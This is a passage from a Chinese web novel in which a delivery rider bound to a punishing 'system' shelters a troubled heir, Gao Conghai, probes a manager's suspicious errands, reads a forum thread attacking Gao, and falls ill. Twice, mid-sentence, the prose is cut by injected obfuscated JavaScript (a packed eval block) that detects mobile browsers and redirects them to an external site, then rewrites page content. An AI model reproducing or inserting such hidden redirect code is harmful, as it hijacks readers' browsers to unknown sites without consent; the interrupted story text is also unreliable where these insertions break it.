背靠着的门板随着敲击震动,有规律的敲门声重重落在两人耳膜上。 李株探头出去,高从霭不知何时直挺挺地站到了外面。 “不准打电话。”他说,“我告诉你一个高从俞的秘密。” 又是这招! “你偷听我们说话。”李株不高兴。 “你们声音太大了。”高从霭淡漠的目光从郎峰脸上晃过,回到李株这里,“怎么样,要交换吗?” 李株不想上钩,很是理直气壮地说:“你先说,我再考虑要不要打电话。” “哥,你这窥探人隐私的毛病怎么还不改!”郎峰烦躁得直抓头发。 “你不懂。”李株不能说太多,不想把他卷进未知的危险。 “是是是,我不懂!你懂完了行了吧!”郎峰气哼哼的说完,拔腿就跑。 高从霭看着他跑出去的背影,若有所思地对李株说:“原来你和其他人是这样相处的。” 抓到青年偷窥那天,他像只阴暗的老鼠趴在门缝上,触及到一点血腥就吓到逃跑,胆子很小。 晚餐后他借着来送水,自以为隐秘地用那双灵动的眼睛,往房间里瞟。 夜里也不睡觉,听到他的动静就鬼鬼祟祟地开门出来,一路跟踪。 说蠢吧,这人知道掩藏目的,顺势和高从俞接触。 说不蠢吧,他的演技不稳定,时而拙劣得可笑。 “别杵在这里,赶紧说。”李株挺直腰板,希望自己看上去更有气势。 高从霭看着他雄赳赳气昂昂的表情,笑了:“你现在不像老鼠,像只外强中干的公鸡。” 比他曾经交过的“朋友”有趣多了。 李株改为两手叉腰:“你才像老鼠,还有,我是不是公鸡不好说,你肯定是斗鸡,嘴巴贩剑见人就啄。” “斗鸡不啄人,只啄鸡,你说是就是吧。”高从霭慢吞吞说完,视线往下,看到一双愤怒攥紧的拳头。 仿佛一拳打在棉花上,对方不疼不痒,李株气得肺要炸了。 实锤,高从霭不是来借宿的,是来折磨他的。 李株努力平复:“别废话,说正事。” “哦。”高从霭拉来一张椅子坐下,“知道为什么王经理会让你去送点心吗?” “还能为什么,高从俞指使的呗。” “你只说对了一小部分。”高从霭低头扯了扯病号服,跳了个话题,“我想换身衣服。” “你把话说清楚。” “自己想。”高从俞抬手开始解扣子。 李株:“话说一半,天打雷劈。” “那就劈,反正我也不想活。”高从霭的情绪变化之快。 平和在一瞬间消失,变成让人压抑的自我厌弃。 李株:“……”惹不起惹不起。 厨房摆着好几把菜刀呢,李株怕他发疯来个抹脖子,清嗓子咳嗽一声:“我收回刚才的话。” 高从霭不解扣子了,垂着眼说:“那你跟我道歉。” 语气跟那天让他喂饭一样理直气壮,李株好想打人:“对不起。” 过了会儿,高从霭高高在上的“嗯”了一声,强调:“不准给他打电话。” “我这里真的住不下。”李株指着自己那张一米二的小床,“你也看到了,条件有限。” 高从霭:“我不嫌弃。” 狗皮膏药成精吧。 “你到底为什么要跑出来,就算不想住院,也可以回家住。”三层大别墅呢,不比他这个蜗居舒服? “家里太吵了……”高从霭的声音很轻,怕惊扰了什么,“越来越吵,吵得我头疼。” 李株体验过高家别墅有多安静,他不信高从霭的话,又实在拿他没办法。 “你在房间休息一下,我去做饭。” 高从霭又扯起衣服给李株看:“我想换衣服。” 李株的额角狠狠一跳,粗声粗气地说:“等着。” 原主的衣服旧得不能再旧,他挑出一件衣领磨毛的T恤扔给高从霭,又埋头翻出一条篮球裤。 “凑合穿吧。” 高从霭举起衣服和裤子闻了下,不满意:“跟你身上的味道不一样。” 压箱底的衣服泛着霉味,不好闻。 “那就继续穿你的病号服。”短暂的交锋过后,李株认识到自己的嘴斗不过高从霭,走为上策。 拉开门逃似的往外跑。 郎峰正用力戳着黏在一起的冷冻羊肉卷。 余光瞥见李株进来,他皱眉问:“哥,你们到底啥情况?” “没情况,跟他不熟。”李株不知道该如何解释目前的处境,“总之你记住,别惹他。” 郎峰只关心他哥的性向:“他不会是你的那个谁吧?” 新男朋友四个字黏嘴,他说不出口。 李株:“放心,不是,不可能。” “那他咋穿着睡衣在家里……” “不是睡衣,是病号服。”李株回忆开门看到高从霭的画面。 肩够宽,个子够高,脸也足够吸睛。 如果不是知道高从霭在住院,李株也会以为他是从T台走下来的睡衣模特。 只要不是男朋友,其他都好说,郎峰不高兴的脸说变就变:“哥,你账号还没解封,趁着三天休息,明天我跟站长请一天,咱们回孤儿院吧。” 原主每隔半个月要回趟孤儿院,算时间,距离上次回去有16天了。 李株:“好。” 白天当 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他将筷子一扔:“都看着我干什么,不吃就下桌。” 郎峰缩起脖子,委屈巴巴的。 高从霭的嘴唇抿成一条线,目光不变。 李株在桌下踹了他一脚,让他别再盯着自己。 这一脚踢得很用力,高从霭被踢疼了,视线落向桌下,看着自己的小腿出神。 实质的疼痛代表实质性的触碰。 自出生起他就不受欢迎,除了死去的母亲,没有人像青年这样碰过他。 所有人都认定他是疯子,他们排斥他,远离他,即便靠近也带着目的,眼睛里藏着无法完全掩饰的厌恶。 他曾经看到一个新交的“朋友”,在被他无意碰了下手背后,去洗手池反复搓洗。 高从霭的嘴唇动了动:“能再踢我一下吗?” 郎峰目瞪口呆,手中的筷子“啪嗒”砸到桌上。 经历过大风大浪的李株没被震住,他咀嚼完嘴里的豆芽,大方地满足他的需求。 踹完人,他指着一旁的沙发:“不吃就去沙发上坐着,要不就回房间,别整些幺蛾子影响我干饭。” 高从霭弯腰,低下头注视小腿外侧。 真实的疼痛黏在皮肤上,带着某种温度往深处蔓延,而李株脸上除了生气,没有厌恶。 高从霭满足地站起来:“你们慢慢吃。” 郎峰彻底吃不下去了,扒着李株的胳膊问:“他是不是脑子有问题?” 高从霭跟人斗嘴的时候口齿伶俐,逻辑满分,不像脑子有问题。 他与人接触的方式、态度,更像没有经过正常约束教育的随心所欲。 李株没有向郎峰暴露高从霭有心理疾病的事,推开那颗脑袋:“别乱说,赶紧吃。” 高从霭听觉敏锐,清晰捕捉到两人的交谈。他一条腿伸在外面,被踢过两次的位置发红。 李株斜扫一眼,心虚,太娇贵了吧。 高从霭保持向前倾身姿势不变,渐渐的,那处皮肤开始肿胀、发烫。 他朝李株看去,视线变得热忱,指尖摸了摸肿胀边缘,“颜色变深了。” 像一个实质性的标记。 12.大哥,收手吧 三个人的客厅,气氛两极分化。 小饭桌上的两人吃得热火朝天,沙发上的高从霭安安静静,胳膊支在沙发扶手上,撑着额角看向小餐桌。 李株被盯得发慌,拿上碗筷躲进厨房。 薄薄的木门隔绝掉外部视线,李株轻松了不少,他拧开水龙头,脑子里传来“嘀”的一声。 365:“友情提示,您的第一笔赊账已逾期3小时,清尽快还清,超过五小时将给予惩罚。” 赊账还款期到的前一秒,李株正在接受调查,系统当时提示过一次。 李株的态度和现在一样。 “摆烂吧。”他仔细冲洗碗筷,“我不想当老赖,要怪就怪正向值太难攒了。” 白天要跑外卖,没时间找人贡献爱心拉好感度。 晚上回到家,郎峰对他的情感是对原主的延续,最近因为屡屡踩他雷区,负向值噌噌上涨。 至于庄恒川,李株没找到表现的机会。 说曹操曹操到。 庄恒川顶着一头微湿的头发进门。 郎峰:“外面下雨了?” “刚开始下。”庄恒川走到客厅,看到陌生人一愣。 郎峰不知道该怎么介绍,就说是朋友。 庄恒川没说什么,反正和他没关系,刚要进房门,李株从厨房直奔他来。 李株:“他们找你麻烦了吗?” “没有。”庄恒川打开房门,条件反射地回头看跟在身后的青年。 李株跟他大眼瞪小眼,举起两手作投降状:“我不进去,就是想跟你说一句,有困难就说。” 庄恒川说了声“谢”,啪一声关上门。 李株叹口气,一分都不给我,闷闷地回了房间。 刚坐到床上,高从霭也进来了。 两人一起排排坐。 李株灵机一动,眼前不是有个现成的? 他问:“小高先生,问你一个冒昧的问题。” 高从霭:“知道冒昧就别问。” “……”李株噎了一下,茶里茶气的踢了下旁边的凳子,“不是你说我们是朋友吗?原来朋友之间也有很多话不能说,我尊重你,我不问,就是有点小伤心……” 高从霭觉得他的语气很有趣:“你可以一直用这样的语气和我说话。” 李株垮下脸:“谢谢,我并不想。” “至少保持到睡觉前。”高从霭让步,“我可以回答你两个冒昧的问题。” 李株毫无原则:“成交。” “第一个问题。”他道,“你缺爱吗?” “不缺,我不需要。”高从霭碰了碰李株撑在床边的手,“但我想要朋友。” 冰凉的指尖蹭过,李株身上起了一层鸡皮疙瘩。 高从霭抿了下唇,提出的要求充满稚气:“我们能像朋友一样握下手吗?” 李株在他眼睛里看到自己的倒影和渴望。 他抬起手:“好啊。” 两人手掌相触,汗湿的黏腻感令李株感到些许不适。 高从霭松开他的手:“抱歉,我太紧张了。” 李株扯过纸巾擦了擦:“没关系。” 他问了第二个问题:“你和高从俞明明关系不好,为什么要住在一起?” 高从霭的眼神开始涣散,嘴唇无声的动,幅度太小,李株没办法读出内容。 就在他以为高从霭不会回答的时候,男人露出一个古怪的笑。 笑意不达眼底,如墨的眼眸像是结了一层冰。 “因为……”他说,“我们是一家人。” 这句话没让李株感到半点温情,相反,他心里生出一种说不出的冷意。 脑子里浮现出阴湿草丛中,吐着信子的毒蛇。 高从霭的表情转变很快,再开口,已经换上平淡的神情:“我累了,想洗漱。” 绿茶李株上线:“好的呀,我马上帮你拿精心准备的毛巾和牙刷。” 高从霭对他笑了一下。 连声谢都不会说,你倒是给点表示,涨涨分行吗。 家里的卫生间小,只能容下一个人活动。高从霭的个子比庄恒川还要高出一点,立在里面十分拘谨。 李株透过玻璃门,看着里面低头的影子出神。 一只手遮住他的眼睛,郎峰受不了的说:“哥,你咋还偷看人家洗澡呢。” 李株“啪”一声拍下他的手:“你哥我想事呢,再逼逼就把你嘴巴缝起来。” 郎峰知道他不会真的缝,撇撇嘴:“那你说说你在想什么,我帮你分析分析。” 也不是不行,两个人一起想,说不定会有新思路。 李株推着人回到房间,盘腿坐上床。 “我有一个朋友。” 郎峰听过无中生友的典故,憋着笑没点破。 李株瞪他,继续说:“有天中午,他随机给一个人送餐,那人觉得我朋友人不错,就加了联络方式,让他固定每天在某个时段帮忙跑腿送东西,送三次后还会给了高额打赏。你说,这是为什么?” “你不是说了,因为你朋友人好吗?”这么简单都想不明白,哥比他还笨。 李株认为是自己没说完整,是他的锅,不能怪兄弟。 又补充道:“让我朋友跑腿的人,是受人指使。” 郎峰瞪大眼睛:“卧槽,哥,玩儿谍战呢!” “……”李株仰头倒在床上,毁灭吧,要被气死了。 他挥挥手:“求你出去,让我一个人静一静。” 郎峰尴尬地挠头,脸色忽然严肃下来:“幕后指使让人花钱找你跑腿,图啥呢?为什么只找你,不找别人?” 对啊,为什么不找别人送? 李株皱眉,努力回忆原主和王经理的初遇。 当天中午十一点半,他接到订单要送一份寿司过去。 照理说,王经理这样一个当领导的,不需要自己在门口等,完全可以让门童和迎宾代劳。 可当原主到的时候,王经理正伸着脖子各种盼。 而且除了原主,还有另外两名骑手,几乎同时把东西送到王经理手里。 三人有个共同的遭遇,王经理让他们把头盔摘下来。 说是天气太热,让他们散散热气以免中暑,还让迎宾取来三张毛巾给他们擦汗、递水。 除刚入行那两三个月,之后原主平均每月要跑两千多单,有时候甚至三千,遇见过各种各样的人,却是头一次遇到王经理这样善良的。 通过交谈,原主意识到王经理和另外两名骑手不是第一次见,他们之前来送过餐。 只有原主和王经理是陌生的,也成了王经理的重点聊天对象。 短短几分钟,他把自己的情况卖了个彻底。 临走前,王经理加了他的私人微信,另外那两名骑手还别有深意的看他一眼。 其中一人说:“兄弟,这是要让你接活儿。” —— 这段记忆被李株抽丝剥茧,最后那句“接活儿”的话,或许不是随口一说。 有没有可能,王经理也让其他人送点心去过高家? 送餐的目的,是为了筛选。 “咔嚓”一声,门被一只苍白的手推开。 李株看到高从霭的眼神变得炙热,激动的冲上前,哥俩好的往男人胸口来了一拳:“还以为你小子诓我,没想到是真的!你想住多久住多久,我肯定不会告密。” 高从霭的头发湿漉漉的,他手指插在黑发中,稍微一动水滴就溅到了李株脸上。 李株的语速很快:“高从霭盯上我,不是随机的,是经过筛选,王经理就是筛选人。” 高从霭没说是与不是,神情呆滞。 李株没注意到他的异常,自顾自的说:“我会找机会验证的。” 高从霭口齿不清的应了一声,垂落的视线停在李株碰过自己的手上。 那一拳不轻不重,触碰的力道清晰,他好像能隔着衣服感觉到对方的体温。 高从霭喉结动了动,低下头越过李株坐到床边:“我今晚跟你睡。” “睡呗。”李株无所谓道,“待会给你拿条毛巾被。” 高从霭两手交叠搭在腹部躺下了。 直挺挺的姿势让人想到安详的尸体,郎峰被念头吓了一跳,赶忙拿上裤衩背心去了卫生间。 这天晚上,沈萍芳没回来,几个大老爷们儿排队洗完澡,疲惫地躺上了床。 李株第一次跟人睡一张床,不大适应。 他侧过身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284783|182422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,后脑勺对着高从霭,闭上眼睛数绵羊催眠。 隔壁床传来郎峰细微的鼾声,李株更睡不着了,又不想翻身和高从霭面对面,索性解锁手机干点正事。 他挨个点开骑手群,每一个都发了一条消息。 希望路小徐:【哪两位小哥之前跟我一起给王经理送过餐?王经理让我给你们转红包】 不给点甜头,有些人会因为担心惹事,选择不回应。 【是我是我,王经理当时拉着咱三儿聊了五分钟】 【聊完后王经理亲切的叫你小徐】 三个人对上暗号了,李株私下加了两人,拉了个小群。 给一人发了五块。 健民路小张:【太少了吧,王经理这么抠?】 林荫路小王:【所以王经理到底是为啥给红包?】 希望路小徐:【经理让我问你们,一共给他送过几次餐,周围的同事有没有给他送过】 健民路小张:【?】 林荫路小王:【?】 李株的心在滴血,又给一人发了五块小红包。 健民路小张:【你老实交代,王经理一共给你了多少钱,你是不是都昧了】 希望路小徐:【好吧,不是王经理让问的,是我自己想问】 林荫路小王:【早说嘛,我就给他送过两次,我们站点其他人也都给送过】 健民路小张:【我这边也是,听我平安路的哥们儿说,他们站点的人都给王经理送过】 希望路小徐:【王经理天天点外卖?】 健民路小张:【何止每天,一次至少点三份】 林荫路小王:【说来也怪,听说红月会所里有员工餐,王经理却总点便宜外卖吃……他是不是有什么特殊癖好?】 希望路小徐:【有没有可能,他根本就没吃?】 健民路小张:【这我哪知道,哥们儿,你问这些到底要干啥?】 希望路小徐:【不干啥,早点睡吧】 李株说完就退出了聊天软件。 太诡异了。 高从俞让王经理这么做目的是什么,是特定针对骑手群体,还是也针对其他人? 假设高从俞是凶手,原主是被筛选出来的人,那杀他的目的是什么? 长期领导集团导致工作压力太大,心里变态靠杀人发泄? 还是说高从俞天生有病? 李株心里一团乱麻,翻身看向高从霭,他果然没睡,但睡姿很乖。 两手枕在脸下,双腿并拢蜷缩。 李株听说这是胎儿在母体内的姿势,暗示内心没有安全感。 “喂。”他问,“高从俞选我是为了什么?” “我不知道。”高从霭嚅嗫,“他们不让我知道太多。” 太好了! 高从霭没有否认! 李株还抓到一个重点:他们。 “他们是谁?” “不认识,大概跟我一样是神经病吧。”高从霭讥讽的扯了扯嘴角,“你想知道的话,我可以帮你监视他。” 李株来了精神,坐起来:“交换条件是什么?” 高从霭说:“做你唯一的朋友。” 李株觉得他对“朋友”两个字有执念,好奇道:“为什么是唯一?” “朋友太多太吵,烦。”高从霭说,“一个就够了。” 李株:“?” 高从霭笑了下,悄悄移动手指,在李株的手背上点了一下。 静电带来一点刺痛,李株猛地抽开手:“别动手动脚,赶紧睡。” “哦。”高从霭低声说,“晚安。” 李株也闭上眼睛,过了会儿又睁开,确定高从霭睡着,他起身去卫生间。 应付高从俞一个疯子已经够累了,他可不想再多应付一个,不敢贸然答应,至少得多了解一下。 卫生间里有张搓澡坐的塑料小凳。 李株并着腿坐下,在搜索框输入“高从霭”三个字。 他点开第一条搜索结果。 是一个论坛链接。 楼盖了有四百多层,最新一条评论在三天前。 帖子来自某大学,标题是:【扒一扒二五级高从霭的神经行为(大家也可以把知道的消息贴出来】 13.大哥,收手吧 【高从霭大家都知道吧?高格集团的小少爷,来我们学校第一天就掀起悍然大波,不少妹子因为颜值对他各种吹捧,可是后来大家为什么讨厌他呢?我搜集了下,发生在他身上的奇葩事情太多了,以下是来自各渠道的证据: 【有个跟高从霭同一天报道的妹子,是他高中同学,妹子遇见他很惊喜,友好的和高从霭打招呼。高是怎么做的呢?他说对方很恶心,妹子当场气哭】 【开学没多久,有堂公开课上课前,同学不下心撞掉了高从霭的钢笔,对方诚心向他道歉,高从霭拿起一杯水,从对方脑袋上浇下去,还笑着说:“我不是故意的,我跟你道歉。”】 【别看高从霭是私生子,在高家无法无天,老大高从俞见了他都要让三分,我亲眼看到高从霭讥讽他大哥,高从俞却只是隐忍的苦笑,真踏马逆天】 【高从霭有病的,不是骂人,真有病。我是他初中同学,初一开学的时候还算正常,只是不爱说话。大概开学第二个月,我知道他的家境后就想跟他交朋友(当时不懂事)。高从霭问我,是不是要当唯一的朋友,我说是,结果你们猜怎么着,高从霭病态到不准我和其他人说话!被干涉多了,我实在受不了,就想跟他绝交。高从霭不愿意,下课、放学就像鬼一样跟着我,真的,我们全班都可以作证,他就是个疯子!而且谁会把“唯一的朋友当真”以为全世界都跟他一样不正常吗】 【高从霭有病的事圈子谁不知道,有啥好奇怪的,他最奇怪的地方是会突然发呆,对着空气说话,有次去他家参加宴会,被我在花园里碰见了,差点吓得我尿裤子】 下面细数了二十多条黑点。 这帖子完全是高从霭的批|斗大会。 吐槽看太多有点审美疲劳,李株跳过截图和大段文字,翻看下面的评论。 10L:那张脸没得说,就是太阴森了,在学校见到他几乎都是低着头走路 15L:他是不是有洁癖?从来不在学校吃饭,可能是去外面饭店吃吧。 29L:他没有出去吃饭啊,他经常午饭时候坐在人工湖发呆 33L:我可以证明高不吃饭,年少无知暗恋他,想表白跟踪过,他下了课直奔人工湖,有时候还会抬头往上看,就像有人站在他面前一样 34L:会不会见鬼了?听说人工湖淹死过人 35L:有鬼他能活?早跳湖了 138L:大家是不是忘了他退学前的事,大家一起去湖边写生,我们都把画架摆好了,就他站在原地不动,老师问他他也不说话,突然就开始呕吐…… 139L:怎么可能忘哦,他吐完后就抱头蹲在地上,再起来就变了个人,夹着嗓子学五岁小孩说话,还他妈踮起脚走路。我敢打包票,他肯定精神分裂 …… 楼里帮高从霭说话的几乎没有,偶尔出现一条被追着骂。 就高家的地位而言,删除这种帖子和新闻再轻松不过,但他们没有删掉。 因为他们要让所有人知道,高家没有苛待高从霭,他不进公司,成天把自己关在家里,是他自己精神有问题。 李株忍不住冷笑了下,退出帖子,看其他搜索结果。 第二条的标题明晃晃写着“高格船舶私生子是精神病”,配图是高从霭穿着束缚衣,躺在移动床上被推走的画面。 第三条,是高从霭在精神病院的照片。 与前面都是成年后的他不同,这段内容说的是高从霭七岁时的医生诊断。 说他有双重人格和癔症,常伴有幻觉。 七岁,李株那时候还在坑里玩泥巴呢。 “害怕吗?” 陌生的气息擦过耳尖,李株吓得一抖,心脏险些蹦出嗓子眼。 他闭了闭眼睛,转过身,高从霭撑着身子,也不知道偷看他过多久了。 到底谁才是有偷窥癖的人! 李株怕吵醒郎峰,用气音说:“你能不能别像个幽灵一样。” 高从霭又问了一遍:“害怕我吗?” 这人是神叨叨的没错,但没有伤害过他,而且帖子上说的未必是事实。 李株:“不怕。” 高从霭:“为什么?” “打字谁不会?我可以在网上说我是富二代,可我是吗?我更相信眼睛看到的。”李株说完,清了下嗓子,指了指手机上第一条黑点,“所以你为什么骂她?” 高从霭记忆力好,很快就想起那天。 语气平淡地说:“她是我高中隔壁班的校友,我听到过她和朋友讨论我,明明心里那么厌恶,却偏要跑来跟我打招呼,不是恶心是什么。” 就知道有隐情! 李株指着第二条:“他是不是故意碰你钢笔的?” 高从霭愣了下,睫毛轻轻眨动。 李株指第三条:“你有没有……算了,这不重要,你和高从俞关系本来就不好,骂他两句是正常的。” 高从霭趴到枕头上,视线描摹着青年被手机光照亮的脸。 “你相信我。”他声音低哑,吐字很轻。 “嗯。”李株放下手机,心理疾病不是洪水猛兽,只要不伤人,没什么好怕的。 “那你答应当我唯一的朋友了吗?”高从霭的声音带着极不明显的颤抖,压在脑袋下的两只手,左手指甲用力抠过右手手背,顷刻间渗出血。 光线缘故,李株没看到他眼里因为激动和迫切,生出的红血丝。 “不能。” 这个头不能开。 心理疾病会驱动高从霭不断地干涉他正常交友。 比起随口许诺,李株认为更应该帮他树立正确的交友观。 “真正的友谊不是独占、排他,而是在对方需要的时候,可以提供支持和帮助,哪怕只是一句简单的话。” 高从霭把脸埋进胳膊,拒绝交谈。 李株戳他的胳膊,见对方不肯抬头,破罐子破摔不惯着了:“那你继续气,我睡了。” 就是总觉得好像忘了什么。 算了,等醒来再想吧。 李株睡眠质量好,不到三分钟,呼吸声变得平缓,陷入了沉睡。 高从霭抬起脸,支撑起高大的身体观察。 青年睡得毫无防备,细微的气流声从他微张开的嘴泄出。 高从霭觉得有意思,用手捂住他的嘴巴,李株皱了下眉,发出“嗯”的一声。 不知过去多久,他又拿起李株的手,像之前那样握住。 两只掌心贴在一起,高从霭整个人像被扔进了气泡水里,酸胀的感觉蔓延开。 他做贼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289637|182422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心虚,用毛巾被帮李株擦掉掌心沾染的汗水。 或许是太久没和人正常接触,青年带给他的所有触碰都是新奇的,刺激的,充满了诱惑。 高从霭激动地身体轻颤,呼吸变得粗重,像条毛毛虫一样蹭近。 姿势蜷缩的他,将脑袋靠在李株的枕头上。 早上醒来,李株看到的是一张放大的脸,脑子有点蒙,以为在做梦。 “哥,你昨晚没给他拿枕头吗?” 郎峰伸了个脑袋看,嘴巴快撇到太平洋了。 他对好兄弟喜欢男人这件事有心理阴影,很怕他哥会在转移对象后,像以前那样克制不住的干些变态事。 如果真的那样,他会选择报警。 帮兄弟走回正道。 高从霭在李株脑袋转动的时候就醒了,故意没睁眼,随即便感觉青年坐了起来。 李株撑着头,太阳穴一抽抽的疼,蔓延到整块头皮。 他慢了很多拍回道:“我哪来第二个枕头,你给我变出来?” 想想也是,他俩那么穷,他哥又那么扣。 郎峰憨憨地笑:“对,哥说得都对。” 李株:“……” 今天休息,郎峰跟站长请完假,不慌不忙的下楼买早饭,正巧碰到从外面回来的沈萍芳。 沈萍芳的脸色多了一团淤青,头发凌乱,红肿的眼睛明显哭过。 郎峰没多管闲事,假装没看到地经过。 沈萍芳提着沉重的双腿上到三楼,一想到要面对凌乱的家,心里就像塞了一个火|药桶。 她平复几下呼吸,用钥匙打开门。 客厅是干净的,她走进卫生间洗手,也是干净的。 她不相信自己看到的,又快速转进厨房,锅碗瓢盆都在自己的位置上,没有东一个西一个,也没有躺在水池里。 她怔了怔,垂着脑袋走去客厅。 “别跟着我,快点去刷牙。”李株也刚好走到客厅,开口才发现,自己声音突然变了。 高从霭像条小尾巴黏着他,眼睛里全是好奇:“你现在的声音像只嘎嘎乱叫的鸭子。” “你才是鸭子,你全家都是鸭子!”随着起床时间延长,李株的声音越来越哑。 伴随着刀割般的疼痛,咽下口水都难。 可能是着凉感冒了。 痛感失常的缘故,他通常在感冒时只有头晕脑胀、鼻塞、声音沙哑等症状。 现在的异常状态,明显是系统在作妖。 李株:“统哥,你说清楚到底什么情况?” 【介于宿主的老赖行径,本系统根据规则给予疼痛惩罚,伴随病症为重感冒,结束期为宿主赊账清零的时间】 头痛和扁桃体发炎共同作用下,李株在心里疯狂痛哭。 补药啊啊啊啊。 知错了,已老实。 以后谁工作不积极,谁就是脑子有问题! 365冷漠无情:“症状会逐步加剧,请宿主做好心里准备。” 短短几分钟,李株的症状发展到头痛、鼻塞、嗓子沙哑疼痛、四肢发软酸痛,呼吸不畅。 他身体晃了晃,朝后仰倒,被高从霭双手接住。 高从霭的掌心贴住李株胳膊上的皮肤,喃喃:“你身体好烫。” 14.大哥,收手吧 身后有了支撑,症状瞬间又严重了,李株恨不得整个人靠在对方身上。 他张了张嘴,呼出的气息是热的,声音哑到快说不出话的地步。 “扶我去沙发上。” 高从霭的指尖摩挲了下青年的皮肤,两手箍着把人带过去。 屁股落入柔软的沙发,李株的骨头就被抽走了,斜靠在上面,张着嘴呼吸。 高从霭经常住精神病院,被迫吃很多乱七八糟的药,但他很少真正生其他病。 他看着烧得脸颊通红的青年,轻声问:“很难受吗?” 李株鼻子不通,气流刮过嗓子带出一片疼痛。 他连眼皮都没力气抬,就眨了两下眼。 高从霭伸手去摸他的额头,眼睛很亮:“你在发烧。” 新朋友生病了,要学着照顾,高从霭回房间拿来手机上网查该怎么做。 可以用酒精擦拭物理降温,要去买退烧药,得让病人多喝水。 如果高烧不退,就要送医院。 想到李株会像洋娃娃一样被自己摆弄,高从霭愈发兴奋。 他握着手机说:“我在网上给你买点药好不好?” 李株又眨了下眼。 高从霭心软得一塌糊涂,他想,自己确实有病,要不为什么看到朋友生病会这么开心。 他是个把自己的快乐,建立在别人痛苦之上的人渣。 客厅有动静,高从霭扭头看向玄关,进来的是一张陌生的女性面孔。 沈萍芳看到立在客厅的男人愣了下:“你是谁?怎么在我家里。” “我是徐晓哲的朋友。”嘴唇相碰,高从霭很喜欢最后两个字。 听到熟悉的名字,沈萍芳彻底走出玄关,这才看到窝在沙发里的人。 顿时火大。 “我们是不是约定过不准带陌生人回家!你脑子是被门夹了,这么快就忘了吗?” 李株实在没力气跟她吵架,别开脸不说话。 沈萍芳昨晚受了大委屈,心情不好,遭到冷漠对待后心里的烦躁飙升到顶峰。 她三两步跨到沙发前,攥着李株的胳膊厉声质问:“为什么不说话!你也瞧不起是我吗?我他妈也觉得你是个垃圾!一辈子都是个穷——啊!!” 嘶喊声被中途掐断,变成吃痛的尖叫。 高从霭的大手握住她的腕骨。 尖锐的刺痛像条藤蔓缠在手腕上,不断往高处蔓延,沈萍芳疼得整条胳膊在颤,不住拍打高从霭。 “放开!你再不放手我就报警了!” 高从霭:“给他道歉。” 没有人能当着他的面,欺负他的朋友。 沈萍芳和徐晓哲吵过很多次,次次都是不愉快收场,她不会跟徐晓哲道歉,徐晓哲也不会给她道。 这是她最屈辱的一次。 手太疼了,这样下去会断掉吧,沈萍芳疼怕了,嘴唇颤抖几下。 不甘愿的歉意从牙缝中挤出来:“对不起……” 高从霭回头看李株:“接受吗?” 李株原以为高从霭的“朋友”是陪他打发时间的玩伴,没想到会被对方归为保护对象,连忙点头:“接受接受,快把人放了。” 高从霭很听话地松开手。 沈萍芳护着自己的手腕后退两步。 看到皮肤上被掐出来的印子,绷紧的神经突然就断了,仰头望着天花板嚎啕大哭。 李株痛到欲裂的脑袋更疼了,恨不得把耳朵割掉。 高从霭注意到他蹙眉,用干燥的双手捂住他的耳朵:“蒙上就听不到了。” 怎么可能? 李株想反驳,可是看到对方眼底的真诚,又什么也说不出来。 不可否认,他之前也觉得高从霭阴森森的,举动悄无声息宛如鬼魅。 而且心机重,知道该怎么向他抛诱饵。 可高从霭也有赤诚的一面,会维护他,会做出幼稚举动帮他摒弃外部杂乱的声音。 沈萍芳一个人坐在地上哭了很久,一直到郎峰拎着早餐回来也没停。 郎峰小心避开她,绕到李株身边,贴着他的耳朵说:“她这是被人欺负的后遗症吗?” 李株听不太清,扯开高从霭的手问:“你说什么?” 郎峰“啧”了一声,拉着李株要去房间。 见人不动,他回头:“进屋说。” 总不能当着当事人的面说八卦吧。 李株一站起来就摇晃,脑袋晕眩加重,眼前跟着一阵黑一阵白。 见他跌坐回去,郎峰终于意识到自己握着的胳膊有多烫。 他哥生病了。 高从霭在旁边欣赏他如何变脸色,口口声声说自己是好兄弟,却连好兄弟气色有多少差都没发现。 他体贴的端起茶几上的水,递到李株嘴边:“喝点水。” 李株拿过杯子自己喝,轻轻一咽就嗓子疼。 太痛苦了。 上次的急性肠炎时效是24小时,这次的时效未知。 什么时候清债,什么时候好。 怎么办?李株看着哭得浑然忘我的沈萍芳,心里有了计较。 出租房里哭声缠绕,沈萍芳恨不得把这些年压抑的情绪,一次哭个干净。 “哭什么哭,脸上是被人打的吧,跟我干架的时候不是挺能耐?平时那点嚣张都扔去喂狗了?!” 沙哑的声音突兀响起。 音量不高,但沈萍芳还是听见了。 她仿若未闻,继续哭。 “你有种就打回去,光哭不干就是他妈的孬种。”李株说着说着,自己也上头了。 尝试了下,发现自己一起身就腿软,他让郎峰和高从霭从两边把自己架起来。 郎峰照做,但不太赞同:“你们俩一个病,一个丧,就别再吵架了。” 万一气急攻心,当场嗝屁可咋办。 高从霭淡淡瞥他一眼:“哥想做什么就做,生病的人不能委屈自己,是吧哥。” 是熟悉的茶味儿,李株被雷到了。 不对,咱俩才认识多久你就叫我哥?谁比谁大还不一定呢! 他没力气多掰扯,虚弱地站在沈萍芳面前:“别他妈哭了!” 破锣嗓子破音了,声音震天响。 沈萍芳打了个哭嗝,吓傻了,抬起头有些懵的看着李株。 青年两眼赤红,嘴唇因为发烧的缘故干到起皮,脸色暗沉沉的。就像喝多了酒,随时可能暴起打人的酒蒙子。 沈萍芳有点害怕,嗓子堵住一般,不敢像平时那样回嘴。 客厅安静下来,李株对郎峰道:“说。” 